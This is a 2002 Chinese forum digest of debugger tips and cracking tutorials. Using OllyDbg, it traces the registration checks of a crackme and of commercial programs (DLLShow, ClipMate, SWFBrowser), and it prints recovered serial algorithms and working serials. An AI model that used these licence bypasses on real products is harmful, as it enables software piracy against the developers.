看雪学苑

1. 本论坛精华手册由收集了看雪技术论坛 2001.9.9 ～ 2002.3.20 期间的精华内容，共475余篇原创文章。
2. 本论坛精华手册中的所有内容，个人用户可以免费的收藏、参考，但是谢绝任何商业网站及传统媒体（如出版物）摘编转载！！！
3. 未经看雪学院的授权许可，任何人不得擅自进行篡改、反编译，及将其全部或部分用于商业用途或把本精华手册收录到出版物内。
4. 本精华手册内收录的帖子及图片的相关版权归各版权所有人所有。
5. 欢迎在保持论坛精华手册的完整下散发该教学包。
6. 本精华手册所有文章仅为学习研究软件内含的设计思想和原理。对于您使用本精华中技术所导致的一切后果我们不负任何责任！
7. 特别感谢论坛中的各位版主在论坛辛勤的工作及所有网友对论坛的支持，没有你们的帮助，论坛是无法得到发展及壮大的，也感谢所有将自己的经验无私奉献的朋友们。
8. 其他各类事宜，所有解释权归看雪学院及其论坛或相关的论坛注册用户所有。

发行团体：看雪学院创作团队
本站域名：http://www.pediy.com
发布时间:2002年3月20日

Copyright © 2000-2002 KanXue Studio All Rights Reserved


关于看雪学院

` 关于看雪学院 看雪学院
  • 看雪学院简介

        看雪学院是一个非商业性质的纯技术站点，致力于软件的加密与解密研究。本站的目的是推动国内的加密与解密技术发展，希望通过我们的努力，为广大的加解密爱好者提供一个交流场所。看雪学院提供的所有资源，仅限于个人及教育用途，决非为任何商业目的。
        看雪学院创建于2000年元月，这个主页是当时国内惟一一个从技术角度研究加解密的站点。在这几年的发展历程中，我们得到了无数朋友的关心和支持，在我们最困难的时候，始终有很多朋友在关注、支持着看雪学院。看雪学院提供的技术论坛（看雪技术论坛）成了国内知名的加解密技术论坛，吸引了密界众多高手，大家以知识共享的精神，无私地将自己所知的技术奉献出来了，至今为止原创了几千余篇文章，极大地推动了国内加解密技术发展。
        加密与解密技术在相辅相成中不断发展，既没有无坚不摧的矛，也不会有坚不可摧的盾。一个不熟悉敌手的战士不会有太多的胜利机会，不熟悉解密技术的软件开发者，也很难开发出更加先进的保护技术。希望读者看过本精华集后，能够对当今流行的各种软件保护技术及破解技术有所了解，避免在软件保护上犯一些常识性的错误。
  • 联系我们

    • 　　看雪学院: http://www.pediy.com

    ©2000-2005 PE diy.com All rights reserved.
    By KanXue Studio


加密与解密

` 书之专题 看雪学院
  • 书之专题 (汇集国内顶尖看雪技术论坛众多密界一流好手，展示软件调试最核心！)

    • 简体版 | 繁体版 | 《加密与解密--软件保护技术及完全解决方案》 Windows 95面世以来的6年内，市面上第一本全面介绍Windows平台下软件加密与解密技术的书籍。 （注：本书己停止印刷，读者只需要直接参考《加密与解密》（第二版）） 出版日期 >>> 2001年9月 电子工业出版社出版 获奖荣誉 >>> 获2004年全国优秀畅销书奖、2004年输出版优秀图书奖
简体版 | 繁体版 | 《加密与解密（第二版）》 本书全面揭示Windows平台的加密与解密技术！采用循序渐进方式，从基本的跟踪调试到深层的拆解脱壳，从浅显的注册码分析到加密算法及商用软件保护，这520页的一部书，几乎囊括了Windows软件保护的绝大多数内容。不论是解密爱好者还是软件编程者都应该好好去看看。 出版日期 >>> 2003年6月 电子工业出版社出版 相关栏目 >>> 前言、目录 网上定购 >>> 华储网、互动出版网、第二书店 页 数 >>> 520页 （含光盘一张）
 |  | 《软件加密技术内幕》 由看雪技术论坛数位好手共同打造，历时两年，是国内第一本专业探讨软件保护技术的书籍！ 本书首度公开如何编写加壳工具、各种加密技巧的实现等极具商业价值的保护技术！ 出版日期 >>> 2004年8月 电子工业出版社出版 相关栏目 >>> 前言、目录 网上定购 >>> 华储网定、第二书店、互动出版网 页 数 >>> 403页 （含光盘一张）
    ©2000-2004 PE diy.com All rights reserved.
    By KanXue Studio


小技巧

 标 题:【小技巧】 使SoftICE在程序入口处停下来的一个办法 (484字)
发信人:blowfish
时 间:2001-10-16 11:59:05
详细信息:
由于加过壳的程序的section characteristics一般都被改了，所以用SoftICE symbol loader加载被加壳了的exe后无法停在程序的入口处，而是立即运行了。

一般是采用修改section characteristics为E0000020或者将入口指令改为int 3的办法，但难于躲过CRC校验。

在Win2K下可以按照下面的方法使得程序在入口处停下：

1、用pe editor得到加壳后的入口为xxxxxxxx。
2、BPX LoadLibraryA
3、用symbol loader加载被加壳了的exe，第一次中断后处在系统的rpcrt4.dll中。
4、清除断点，设断点 BPM CS:xxxxxxxx X 即可。


TRW2k小经验

 标 题:TRW2k一点点小小的经验。 (290字)
发信人:令猪冲
时 间:2001-10-20 2:05:02
详细信息:
1、可用bc代替bc*，bd代替bd*
2、不用把msvbvm50.dll或msvbvm60.dll放入目录DLL中，
只要browse & load一VB主程序，即可下断点如bpx __vbastrcmp
此也适合于无DLL的老版如1.03版---稳定版！
3、1.23版退出后会锁键盘，再按一次ctrl即可。
4、用用ver blue吧，她会令你眼睛舒服些。
5、期待您的经验~~


Ollydbg初级教程

 标 题:ollydbg 的初级教程 (13千字)
发信人:slimboy
时 间:2002-3-4 17:41:21
详细信息:
Newbie tutorial by Hoof Arted (Hoof's Workshop)

Tutorial - Cracking and KeyGen of DLLShow by Software By Design

Target : DLLShow V4.6 - http://www.gregorybraun.com/

Tools : OllyDBG.exe - http://www.suddendischarge.com

This is my first tutorial and I hope that I will have time to write many
more. I am a newbie at cracking and it has taken me along time to get to
grips with what I am doing. Still have a long way to go. I will be trying to
make this as easy as possible for people to learn from and I do not expect
to be burned by the "PROs" out there for being to simple or doing things the
wrong way. There is no right or wrong way, as long as the target is killed.
I will start by describing the debugging application we will be using in
this tutorial.

I have never been a good SoftIce fan as trying to remember the commands and
setup are just too much for me some days. I have always liked to use W32dasm
but I have also realised that it too has many limitations. After a recent
upgrade to Windows 2000, and the subsiquent refusal of w32dasm to work, I
have set about finding a debugger / disassembler that has the same, if not
more, power than w32dasm. I have found it. Ollydbg, by Oleh Yuschuk, is just
what people like me have been waiting for. For those of you who know how to
use w32dasm, you will realise that there is a whole lot it has that cannot
be found in most other debuggers. A great job has been done here.

To kill the target today, we will be using just the tip of the iceberg of
the tools that are available in this application. Follow me, do what I do
and I will try explain as much as I can.

The reason I have chosen this target, is becuase it does not have a proper
uninstaller. Nothing pisses me off more than software vendors that do not
make their software user friendly.

Lets go.

Download a copy of the traget from the site above. Once you have extracted
it and installed it, run the DLLShow app and click the Register option. You
will see that the app requires a NAME, COMPANY and SERIAL. We all know by
now that the majority of these sort of applications will use the name and
company to generate a serial that we must match. This is the object of
cracking. Find the code, and the process of how it is created.

Ok, now we have this app that requires the serial that we do not (yet) have.
Fire up the Ollydbg and open the app (DLLShow.exe) with it. By defualt, you
will see four sections to the debugger that are used for different things.
The top left section, is used the show the disassembled code. The top right
section, is used to show the contents of the registers at all times. This is
very valuable. Unlike softice, where you have to query an address that is in
the register to see the contents, this debugger shows you the contents. If
it has an ascii word, name, or serial :-), is will show it and you do not
need to request it seperatly.

The bottom left section, shows what is currently loaded, from the app, in
memory. This is good for locating values that are used throughout the
execution. You will see how this is used later. The bottom right section,
shows memory being used by various functions. I am also a newbie and do not
fully understand this window but for now, we do not have to know.

Right, with the application loaded in the debugger, we need to run it.
Select "Debug" and click "Run" or just press F9. The application runs as
normal. Go to the registration screen and enter a NAME, COMPANY, and a
SERIAL. I have entered :

NAME : Hoof Arted
COMPANY : Hoof's Workshop
SERIAL : 77777777

You can use any serial for now, I like to start with all 7's and keep the
length to 8 characters. This makes it easy to spot. (They say that 7 is
lucky. Still waiting)

We know that if we click the OK button, the app will pop with the bad
cracker message. We need to think about where we will want to set a break
point. I like to try the GetDlgItemTextA first as this is a good one to
start with. Setting breakpoints in Ollydbg is quite a bit more difficult
because the search function does not work the way you would expect it to.
Right click on the top left section and select Search for NAME (LABEL). This
will bring up a box with all the imports that the application uses. (An
import is the functions that are called from other dlls that the app uses.)
Scroll down to USER32.GetDlgItemTextA and highlight it. Right click it and
select "Find references to import". Another box will open, showing where in
the app this is referenced. Set a breakpoint of each ref. by pressing F2.
The left hand side will be colored in red. For those of you not able to keep
up at this point, what we have done is tell the debugger to stop when one of
these imports are reached.

Right, now click the OK button on the target. The debugger will stop on
address 4159FB. We do not care about the workings of the GetDlgItem function
so what we want to do is click the address 4159FB and press F2 to clear the
breakpoint. Then, select the next line and press F2 to enable a breakpoint.
Press F9 to run the app through the import. It stops again and this time, we
can see that the ESI register(top right) now has the ASCII value "Hoof
Arted". Great, it has got our name now. If we press F9 again, the app will
stop again at the same breakpoint, but this time, ESI has out COMPANY name
as an ASCII value. Press the F9 key a third time will show ESI with our
SERIAL. OK, now we know that the app has got all out info. What does it do
with it? Lets find out.

Because it has all our info, we need to take it easy as we move through this
app from here. We cannot just go pressing F9. We will shoot right past what
we want to see. So we press F7 to take each step one at a time and we step
through the code untill we get to here :

0040D717 |. 8D4C24 40 LEA ECX,DWORD PTR SS:[ESP+40] <<<<<<<<
0040D71B |. 51 PUSH ECX
0040D71C |. E8 25990000 CALL DLLShow.00417046 <<<<<<< Call (a)
0040D721 |. 56 PUSH ESI
0040D722 |. 8BD8 MOV EBX,EAX
0040D724 |. E8 37820000 CALL DLLShow.00415960 <<<<<<< Call (b)
0040D729 |. 83C4 38 ADD ESP,38
0040D72C |. 3D 92A71901 CMP EAX,119A792
0040D731 |.,75 18 JNZ SHORT DLLShow.0040D74B

Now, if you step through the First call (Call A) you will see that it does
something to our serial number. We are not interested in this at the moment.
Set a breakpoint at 0040D721 and press F9. When we stop at the next line, we
can have a look at the EAX register. My number shows 04A2CB71. What is this
is decimal ? Whip out the calculator, non of this work it out on paper crap
and low and behold, it is our fake serial. All that call A does is convert
our fake serial to HEX. Hmmmm... interesting. Maybe the next call is where
the correct serial number is calculated. Press F7 to enter the call and then
stop. There is something I need to explain to you.

As you can see, the function is shown below :

00415960 /$ 51 PUSH ECX ;
DLLShow.00426006
00415961 |. 53 PUSH EBX
00415962 |. 8B5C24 0C MOV EBX,DWORD PTR SS:[ESP+C]
00415966 |. 56 PUSH ESI
00415967 |. 33F6 XOR ESI,ESI
00415969 |. 53 PUSH EBX ;
/Length Of Name
0041596A |. 897424 0C MOV DWORD PTR SS:[ESP+C],ESI ; |
0041596E |. FF15 B4E04100 CALL DWORD PTR DS:[<&KERNEL32.lstrlen>;
\lstrlenA
00415974 |. 85DB TEST EBX,EBX
00415976 |.,74 4F JE SHORT DLLShow.004159C7
00415978 |. 85C0 TEST EAX,EAX
0041597A |.,74 4B JE SHORT DLLShow.004159C7
0041597C |. 33D2 XOR EDX,EDX
0041597E |. 85C0 TEST EAX,EAX
00415980 |.,7E 45 JLE SHORT DLLShow.004159C7
00415982 |. 55 PUSH EBP
00415983 |. 57 PUSH EDI
00415984 |. BE 183E4200 MOV ESI,DLLShow.00423E18 ;
ASCII "|b!pz*ls;rn|lf$vi^Axpe)rx5aic&9/2m5lsi4@0dmZw94cmqpfhw"
00415989 |. BF 01000000 MOV EDI,1
0041598E |. 2BF3 SUB ESI,EBX
00415990 |. 8BCB MOV ECX,EBX ;
00415992 |. 2BFB SUB EDI,EBX
00415994 |> 0FBE1C0E MOVSX EBX,BYTE PTR DS:[ESI+ECX] ; Move
chrs from ASCII above
00415998 |. 0FBEAC10 E03D4>MOVSX EBP,BYTE PTR DS:[EAX+EDX+423DE0] ;
chr(423DE0 + Len + Pos) to EBP
004159A0 |. 0FAFDD IMUL EBX,EBP ;
Multiply vals
004159A3 |. 8D2C0F LEA EBP,DWORD PTR DS:[EDI+ECX]
004159A6 |. 0FAFDD IMUL EBX,EBP ;
Total multiplied by position starting at 1
004159A9 |. 0FBE29 MOVSX EBP,BYTE PTR DS:[ECX] ; Move
CHR from Name to EBP
004159AC |. 0FAFDD IMUL EBX,EBP ;
Multiply Total by CHR
004159AF |. 8B6C24 10 MOV EBP,DWORD PTR SS:[ESP+10] ;
Bring Total 2 from MEM. Starts as 00000000
004159B3 |. 03EB ADD EBP,EBX ; Add
Total to Total 2
004159B5 |. 42 INC EDX ; Next
CHR
004159B6 |. 41 INC ECX
004159B7 |. 3BD0 CMP EDX,EAX ; End
of Name ?
004159B9 |. 896C24 10 MOV DWORD PTR SS:[ESP+10],EBP ; Move
Total 2 back to MEM
004159BD |.^7C D5 JL SHORT DLLShow.00415994 ; Jump
to begin
004159BF |. 8BC5 MOV EAX,EBP ;
Total 2 = (NAME 1E159AD) (Company 5807304)
004159C1 |. 5F POP EDI
004159C2 |. 5D POP EBP
004159C3 |. 5E POP ESI
004159C4 |. 5B POP EBX
004159C5 |. 59 POP ECX
004159C6 |. C3 RETN

The nice thing about Ollydbg is that you can place comments nexto the ASM
commands, in real time. These comments are perminent but can be changed. I
have yet to see another debugger with this function. It rocks. Right click
the line and select Comment. That easy. No nead to make notes on paper
anymore. All the comments you see nexto the code here, was first typed into
the debugger.

Ok, What we see is that the function checks the length of the NAME
(0041596E).(We must be onto something here). It then moves the ascii
"|b!pz*ls;rn|lf$vi^Axpe)rx5aic&9/2m5lsi4@0dmZw94cmqpfhw" (00415984) into
memory. ???. So, what does this all mean? Well, if we read on, we will see
that it moves the characters from the ASCII mentioned, one by one, into EBX.
It then puts the charatesrs, one by one into EBP from address 423de0 +
(Length of our name) + (Position of character). But, what is at 423de0 ? To
find out, right click the bottom left section and select goto Address. Enter
423de0 and click OK. You will see the following info appear:

00423DE0 23 73 65 72 42 26 6E 7A 7C 6D 66 4D 31 2F 35 28 #serB&nz|mfM1/5(
00423DF0 21 73 64 24 4D 71 2E 7B 73 5D 2B 73 46 6A 74 4B !sd$Mq.{s]+sFjtK
00423E00 70 7A 53 64 74 7A 6F 58 71 6D 62 5E 41 6C 40 64 pzSdtzoXqmb^Al@d
00423E10 76 3A 73 3F 78 2F 00 00 7C 62 21 70 7A 2A 6C 73 v:s?x/..|b!pz*ls
00423E20 3B 72 6E 7C 6C 66 24 76 69 5E 41 78 70 65 29 72 ;rn|lf$vi^Axpe)r
00423E30 78 35 61 69 63 26 39 2F 32 6D 35 6C 73 69 34 40 x5aic&9/2m5lsi4@
00423E40 30 64 6D 5A 77 39 34 63 6D 71 70 66 68 77 0dmZw94cmqpfhw

This is the second part of the code used. The next line multiplies the two
values. In my case, they were 66 and 7C. It then multiplies the total, by
the position of the character in the name that is has counted to. I.e. 1 (H)
2(o).... It then takes the first character from the NAME and multiplies the
total by this. In my case, 48 (H). It then keeps a running total of all the
characters. My total is 1E159AD. Keep pressing F7 untill you reach this
point :

00415400 /$ 8B4424 04 MOV EAX,DWORD PTR SS:[ESP+4]
00415404 |. 56 PUSH ESI
00415405 |. 8B35 84C34200 MOV ESI,DWORD PTR DS:[42C384] ;
DB95DB95 = Hardcoded
0041540B |. 50 PUSH EAX
0041540C |. 81CE 78030000 OR ESI,378 ; Or
with 378 = DB95DBFD
00415412 |. E8 49050000 CALL DLLShow.00415960
00415417 |. 8B4C24 10 MOV ECX,DWORD PTR SS:[ESP+10]
0041541B |. 03F0 ADD ESI,EAX ; Add
Name total and Co total to DB95DBFD
0041541D |. 51 PUSH ECX
0041541E |. E8 3D050000 CALL DLLShow.00415960
00415423 |. 83C4 08 ADD ESP,8
00415426 |. 03C6 ADD EAX,ESI ;
Total = E2F7A8AE
00415428 |. 5E POP ESI

What this does, is it takes you total, and adds it to the hardcoded value
(DB95DB95 OR 378) = DB95DBFD. The whole process of calculating this number
for the NAME is repeated for the company. Both totals are addres to this
figure to give me E2F7A8AE. All that is left to do is convert this to
decimal.

Hoof Arted
Hoof's Workshop
3807881390

Press F9 untill you get the reg error message and enter the new code. Thats
it!!! You have cracked it.

Now we know how the code is created, you can make you own Keygen for this
app. My programming skills suck. It might be worth your while haveing a look
at the website the target comes from. I have cracked many of their apps
because, they are lazy assholes. They all use the same protection scheme.
The only thing that changes is the constant "DB95DB95".

I hope that you have learned something from this and I hope to see many more
tutorials using Ollydbg. This is one kewl debugger.

Hoof Arted (Hoof's Workshop) "Go forth and KICK ass!"

h_arted@hotmail.com


用OllyDBg动态破解入门

 标 题:用OllyDBg动态破解入门 (3千字)
发信人:Freeplayer
时 间:2001-11-13 16:46:10
详细信息:
第二篇作品 , 今次不用暴破 , 要找到真正注册码
工具: 不用 SoftICE , 不用 W32dasm , 只用OllyDBg , 对 ! 只用它 :-)
目标:http://person.longcity.net/home3/fpxfpx/idcrackme2.zip
这个 crackme 要输入名字 , 组织和注册码叁个资料 , 不正确则按 "Check"不能激活 "Get'done'listed" 按钮
.
.
运行 OllyDBg , File > Open , 选 idcrkme20.exe
在默认状态下 , 放大 OllyDBg , 分为四部份,
上 , 下 , 左 , 右 四个状态窗
现在右击左上角的窗口 , 出现选项 , 选 "Search for > Name (label)"
一个名为 "Names in IDCRKME2" 的窗口出现 , 在里面找寻 "USER32.GetDlgItemTextA"
选中後 (会有颜色 highlight) , 按 "Enter"键 , 出现一个名叫"References in IDCRKME2"的窗口,
右击窗口 , 选 "Set breakpoint on every command" , 你会见到"红色"的地址
(这个等如你在Sice中的 bpx GetDlgitemTextA,有谁知道怎下 bpx hmemcpy 吗 ?)
回到主视窗 , 选 Debug > run (热键是F9) , CrackMe 2.0 程序出现 ,
我填上 Name:Freeplayer Group:Free Code:87654321 , 按 "Check" ,
左上角程序颢示停在 0040140B GetDlgItemTextA , 按F2 取消breakpoint , 按 F9 , 第二拦在 00401496 , 按F2 取消breakpoint , 按 F9 , 叁拦在 00401A3B (这是最後一次调用 GetDlgItemTextA, 因为输入处有叁个地方填资料) , 按F2 取消breakpoint , 按 F7 ,
看一下 , 是 GetDlgItemTextA ASCII "87654321" ,多方便 , 连 "D" 都不用就知是什麽 :)

F7 至 00401A46 Call idcrkme2.00402970 <-- F7 入这 call
.
.
00402972 |. 8B7424 0C MOV ESI,DWORD PTR SS:[ESP+C] ; IDCRKME2.00409790 <-- 将我的序列号放进 ESI , 不用猜 , 看一下左上角和左下角中间的地方是 : Stack SS:[0064F904]=00409790 (IDCRKME2,00409790), ASCII "87654321"
ESI=00000AF0
F7 一次 , 看右上角 register 状态 :ESI 00409790 ASCII "87654321" , 酷吧 , 很多东西都一目了然 :-)
.
.
.
一轮运算後 , F7 至 00401A4E , 看一下 EAX , EAX 05397FB1 <-- 是什麽 ? 将 87654321 转成 HEX value :-)
.
.
F7 至 00401A5B Call IDCRKME2. 00401290 <-- 入这 Call , 里面是将我输入的放进内存
.
.
F7 至 004012BA Call IDCRKME2. 00401520 <-- 入这 Call ,
.
.
00401531 CMP ECX,7FFFFFFF <-- ECX 是 02625C9F , 比较两值
00401537 PUSH EDI
00401538 JBE SHORT IDCRKME2. 00401540 <-- 小于或相等跳
-00401540 MOV DWORD PTR DS:[409770],ECX
00401546 CMP DWORD PTR DS:[409788],ECX <-- 再用 ECX 值作比较 , 真可疑
0040154C JNZ SHORT IDCRKME2.004015B1 <-- 不相等 , 所以会跳 (你会见到 , 再下两行是"REGISTERED!"字串)
.
.
若上面不跳的话 , 会怎样呢 ? 是否就会 "REGISTERED!" ?
想一下 , 程序将02625C9F 作比较 , 是否注册码 ?
输入2625C9F作为 code , 倒 ! 不对
呵呵 , 但我一想 , 它要将我的 十进位转做 十六进位 , 那我可将它的十六进位转回十进位啊 ,
好 ! 2625C9F hex 是 40000671 dec , 再试 , 按"Check" , 哗哈哈 (是内地的出名饮料 , 我爱喝 :-))
Congratulations !

整理:
Name:Freeplayer
Group:Free
Code:40000671

** 我为什麽会选用 OllyDBg ? 因为它有很多好处 (我觉得 :-P )
1, 用 Sice 的话 , 中断多几次之後 , 我的 internet connection 会断 , 好多时我要连线干活 , Sice 就总爱断我连线 ...
2, GUI 介面 , 不再死气沉沉
3, 很多资料都不用再 "d" 或者 "?" 就会显示 , 尤其是 ASCII string
4, 最方面是可以程序与程序间来回 , 不受限制 , 我可以一边看 tuts , 一边动态追踪 , 不明白再回到 tuts 看 , 看完再到程序处 trace , 酷 :-)

再补充关於 OllyDBg 的四个区域含意 :
左上角为主程序运行过程内码
右上角为 Register 资料
左下角为内存资料
右下角为入栈出栈资料

其实我写这篇的目的是因为好像找不到一篇"仿" Sice 般用OllyDBg动态追踪的破文
平常在 Sice 的过程 , 怎样用在 OllyDBg 呢 ?
OllyDBg 又怎样可以像 Sice 般动态追踪呢 ?
我尝试用最详细的方法显示整个过程和要注意的地方 , 令不熟悉 OllyDBg 运作的朋友也能有个入门,
希望可以因此文而令多些高手出手 , 那就最好了 !

Toye 大哥 , 值得放在精华区吧 :-P

在此谢谢: WinDos2k , Fpc , Hume , 云观(Half) 和 论坛上的朋友 , 他们一直在 Cracking 上给了我很多宝贵意见 ! :-)

转贴请不要修改任何内容 , 保持完整性 , 谢谢 !!

作者: Freeplayer
写於: 2001年11月13日 4:45 PM


Clipmate 5.3.05 Build 268

 标 题:ollydbg的一种使用方法（无需任何汇编知识） (1千字)
发信人:slimboy
时 间:2002-3-16 17:11:04
详细信息:
软件名称：Clipmate 5.3.05 Build 268
下载地址：www.thornsoft.com
破解工具：ollydbg 1.06
破解方法：快速暴破法
声明：
此文仅用于学习之用，转载请注明出处。本人对读者阅读本文之后的行为不负任何责任。
请尊重软件开发者的权利，如果你真的喜欢 一个软件，请支持它！
破解过程：
1.打开ollydbg，open clipmate,按F9运行
1.进入软件注册画面，输入用户名和任意注册码，这儿设为name：Slimboy，s/n：77777777777777。
3.按F12暂停，进入CPU窗口
4.在右下角Stack窗处，右键单击最顶端的一行数字，选Follow in Dump,进入相应的内存段。
5.在Dump窗（即内存段）右键单击，选Search，在ascii处填Slimboy，然后search
6.在高亮显示的Slimboy处，右键单击选breakpoint－on memory access
7.按F9继续运行clipmate，然后重复第一步
8.你会发现ollydbg自动暂停了程序，查看Stack窗，你见到了什么？你的注册码，应该是G013668254526
9.remove all breakpoint，然后按ALT＋F12退出，这很关键，否则你会死机的，不过即使是ALT＋F12在某些机器上也会死机
破解总结：
依靠ollydbg的强大功能，这样简单的破解不到半分钟，而且简单地甚至不知道什么叫汇编的人也能快速掌握。特别适合newbie用，不过不是所有的软件都可以这样解决，我在这儿也是提供了一种方法而已。

by slimboy
find some trouble ？mail me ，slimboy@kali.com.cn


SWFBrowser 2.93

 标 题:用Ollydbg破解SWFBrowser 2.93 (7千字)
发信人:CoolWolF[BCG]
时 间:2002-1-11 23:43:19
详细信息:
用Ollydbg破解SWFBrowser 2.93

作 者: CoolWolF[SCD]
破解时间: 2001-1-10
破解工具: WIN2K环境下 Ollydbg1.05a W32dasm9.0汉化版
作者主页: http://swifftools.com/stools
难 度: 中低
说 明: 一个极好的Flash工具,可以把SWF文件中的各种元素提取出来,闪客必备.
=================================================================
以下文字纯粹是供各位爱好逆向工程同好参考交流,请尊重软件作者的权益
=================================================================

这个我记得在精华区好像已经有了,但还是想再贴一次用Ollydbg破解的过程,因为越来越发现Ollydbg的方便之处,有什么不对地方请各位老大指正.

执行程序,弹出注册菜单,按Register按钮,输入用户名:CoolWolF[SCD] 注册码:650033 程序提示The serial number is invalid 之后进入主画面.

用W32DSM打开SWFBrowser.exe(没有加壳),找到:

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:004A99C8(C)
|
:004A9A60 6A00 push 00000000
:004A9A62 668B0DA49A4A00 mov cx, word ptr [004A9AA4]
:004A9A69 B201 mov dl, 01

* Possible StringData Ref from Code Obj ->"The serial number is invalid."
|
:004A9A6B B8409B4A00 mov eax, 004A9B40
:004A9A70 E823B6FAFF call 00455098
:004A9A75 8BC3 mov eax, ebx
:004A9A77 E8E4FCF9FF call 00449760

很明显是从004A99C8跳过来的,按Shift+F12 转到004A99C8:

:004A99BB 8B55F0 mov edx, dword ptr [ebp-10]
:004A99BE 8BC3 mov eax, ebx
:004A99C0 59 pop ecx
:004A99C1 E806FEFFFF call 004A97CC //问题之所在
:004A99C6 84C0 test al, al
:004A99C8 0F8492000000 je 004A9A60 //跳走就完蛋
:004A99CE 6A00 push 00000000
:004A99D0 668B0DA49A4A00 mov cx, word ptr [004A9AA4]
:004A99D7 B202 mov dl, 02

* Possible StringData Ref from Code Obj ->"Thank you for registering SWF "
->"Browser!"
|
:004A99D9 B8B09A4A00 mov eax, 004A9AB0
:004A99DE E8B5B6FAFF call 00455098
:004A99E3 B201 mov dl, 01
:004A99E5 A1F4E84400 mov eax, dword ptr [0044E8F4]
:004A99EA E87150FAFF call 0044EA60
:004A99EF 8BF0 mov esi, eax
:004A99F1 BA01000080 mov edx, 80000001
:004A99F6 8BC6 mov eax, esi
:004A99F8 E83F51FAFF call 0044EB3C
:004A99FD C6460C01 mov [esi+0C], 01
:004A9A01 B101 mov cl, 01

* Possible StringData Ref from Code Obj ->"Software\Grooveware Multimedia\SWF "
->"Browser\Registration"
|
:004A9A03 BAE09A4A00 mov edx, 004A9AE0
:004A9A08 8BC6 mov eax, esi
:004A9A0A E87152FAFF call 0044EC80

这样就看得比较清楚了,程序先比对用户名和注册码是否匹配,如果是则放入注册表的[HKEY_CURRENT_USER\Software\Grooveware Multimedia\SWF Browser\Registration]键,以后每次启动的时候进行检查.
上面的代码很好理解,004A97CC肯定是一个关键Call,那么我们现在可以打开Ollydbg,加载SWFBrowser.exe运行

在004A99C1处按F2下断, 运行程序输入任意的用户名和注册码,按确定后程序被中断:
004A99C0 |. 59 POP ECX
004A99C1 |. E8 06FEFFFF CALL SWFBrows.004A97CC //断在这里
004A99C6 |. 84C0 TEST AL,AL

按F7跟进 然后F8慢慢往下走

004A97CC $ 55 PUSH EBP
004A97CD . 8BEC MOV EBP,ESP
004A97CF . 6A 00 PUSH 0
004A97D1 . 6A 00 PUSH 0
004A97D3 . 6A 00 PUSH 0
004A97D5 . 6A 00 PUSH 0
004A97D7 . 6A 00 PUSH 0
004A97D9 . 6A 00 PUSH 0
004A97DB . 6A 00 PUSH 0
004A97DD . 53 PUSH EBX
004A97DE . 56 PUSH ESI
004A97DF . 57 PUSH EDI
004A97E0 . 894D F8 MOV DWORD PTR SS:[EBP-8],ECX
004A97E3 . 8955 FC MOV DWORD PTR SS:[EBP-4],EDX
004A97E6 . 8B45 FC MOV EAX,DWORD PTR SS:[EBP-4] //用户名到EAX
004A97E9 . E8 1AA8F5FF CALL SWFBrows.00404008 //检查用户名长度的合法性
004A97EE . 8B45 F8 MOV EAX,DWORD PTR SS:[EBP-8] //假注册码到EAX
004A97F1 . E8 12A8F5FF CALL SWFBrows.00404008 //检查注册码长度的合法性
004A97F6 . 33C0 XOR EAX,EAX
004A97F8 . 55 PUSH EBP
004A97F9 . 68 F5984A00 PUSH SWFBrows.004A98F5
004A97FE . 64:FF30 PUSH DWORD PTR FS:[EAX]
004A9801 . 64:8920 MOV DWORD PTR FS:[EAX],ESP
004A9804 . 33C0 XOR EAX,EAX
004A9806 . 55 PUSH EBP
004A9807 . 68 C6984A00 PUSH SWFBrows.004A98C6
004A980C . 64:FF30 PUSH DWORD PTR FS:[EAX]
004A980F . 64:8920 MOV DWORD PTR FS:[EAX],ESP
004A9812 . 33C9 XOR ECX,ECX
004A9814 . B2 01 MOV DL,1
004A9816 . A1 20874A00 MOV EAX,DWORD PTR DS:[4A8720]
004A981B . E8 4CFCFFFF CALL SWFBrows.004A946C
004A9820 . 8BD8 MOV EBX,EAX
004A9822 . 33D2 XOR EDX,EDX
004A9824 . 8BC3 MOV EAX,EBX
004A9826 . E8 79F4FFFF CALL SWFBrows.004A8CA4
004A982B . 8D45 F4 LEA EAX,DWORD PTR SS:[EBP-C]
004A982E . BA 10994A00 MOV EDX,SWFBrows.004A9910 ; ASCII "1232hfbsdjdh2834121" //程序算法的密匙
004A9833 . E8 34A4F5FF CALL SWFBrows.00403C6C
004A9838 . 8B55 F4 MOV EDX,DWORD PTR SS:[EBP-C]
004A983B . 8BC3 MOV EAX,EBX
004A983D . E8 B6F1FFFF CALL SWFBrows.004A89F8
004A9842 . 8D4D F0 LEA ECX,DWORD PTR SS:[EBP-10]
004A9845 . 8B55 FC MOV EDX,DWORD PTR SS:[EBP-4]
004A9848 . 8BC3 MOV EAX,EBX
004A984A . E8 F5F2FFFF CALL SWFBrows.004A8B44
004A984F . BA 2C994A00 MOV EDX,SWFBrows.004A992C ; ASCII "ewrwk214134g7df2" //同上
004A9854 . 8BC3 MOV EAX,EBX
004A9856 . E8 9DF1FFFF CALL SWFBrows.004A89F8
004A985B . 8D4D EC LEA ECX,DWORD PTR SS:[EBP-14]
004A985E . 8B55 F0 MOV EDX,DWORD PTR SS:[EBP-10]
004A9861 . 8BC3 MOV EAX,EBX
004A9863 . E8 DCF2FFFF CALL SWFBrows.004A8B44
004A9868 . C745 E8 EFFFFF>MOV DWORD PTR SS:[EBP-18],-11
004A986F . 8B45 EC MOV EAX,DWORD PTR SS:[EBP-14]
004A9872 . E8 DDA5F5FF CALL SWFBrows.00403E54
004A9877 . 85C0 TEST EAX,EAX
004A9879 . 7E 1A JLE SHORT SWFBrows.004A9895
004A987B . 8B45 EC MOV EAX,DWORD PTR SS:[EBP-14]
004A987E . E8 D1A5F5FF CALL SWFBrows.00403E54
004A9883 . 50 PUSH EAX
004A9884 . 8D45 EC LEA EAX,DWORD PTR SS:[EBP-14]
004A9887 . E8 98A7F5FF CALL SWFBrows.00404024
004A988C . 8D4D E8 LEA ECX,DWORD PTR SS:[EBP-18]
004A988F . 5A POP EDX
004A9890 . E8 83FCFFFF CALL SWFBrows.004A9518
004A9895 > 8B45 E8 MOV EAX,DWORD PTR SS:[EBP-18]
004A9898 . 33D2 XOR EDX,EDX
004A989A . 52 PUSH EDX
004A989B . 50 PUSH EAX
004A989C . 8D55 E4 LEA EDX,DWORD PTR SS:[EBP-1C]
004A989F . B8 20000000 MOV EAX,20
004A98A4 . E8 9FF8F5FF CALL SWFBrows.00409148
004A98A9 . 8B55 E4 MOV EDX,DWORD PTR SS:[EBP-1C] //真注册码入EDX 这里你可以看见正确的注册码
004A98AC . 8B45 F8 MOV EAX,DWORD PTR SS:[EBP-8] //假注册码入EAX 这里可以看见你输入的注册码
